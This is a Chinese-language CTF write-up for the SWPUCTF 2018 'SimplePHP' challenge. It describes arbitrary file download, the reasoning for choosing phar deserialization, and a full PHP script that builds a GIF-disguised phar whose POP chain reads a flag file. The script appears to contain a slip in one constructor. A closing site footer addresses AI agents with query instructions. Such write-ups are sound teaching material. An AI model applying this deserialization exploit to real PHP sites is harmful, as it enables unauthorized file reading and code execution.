# SimplePHP

存在任意文件下载，拉下来六个文件

<figure><img src="/files/nLOK3CoYyFGHySnPyGvq" alt=""><figcaption></figcaption></figure>

比较重要的就是class、file、function文件，看文件闭着眼睛就能推测有phar反序列化，上传的phar文件反序列化getshell，接下来就是理清利用链了（不过PHP8已经禁止phar反序列化了，感觉没意思）。

> 更新一下判断phar的原因：有文件上传点，有文件读取点，且文件后缀名存在过滤，但是phar反序列化不受影响；过滤了很多协议，但是没过滤phar协议、class.php中存在pop链利用的可能，但是没有unserialize()。

```
<?php

class C1e4r {
    public $test;
    public $str;

    public function __construct() {
        $this->str = new Show();
    }
}

class Show {
    public $source;
    public $str;

    public function __construct() {
        $str['str'] = new Test();
    }
}

class Test {
    public $file;
    public $params;

    public function __construct() {
        $this->params['source'] = "/var/www/html/f1ag.php";
    }
}

$c1e4r = new C1e4r();
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c1e4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

?>
```

修改文件名上传，计算md5拿flag。


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2018/2018-swpuctf/simplephp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
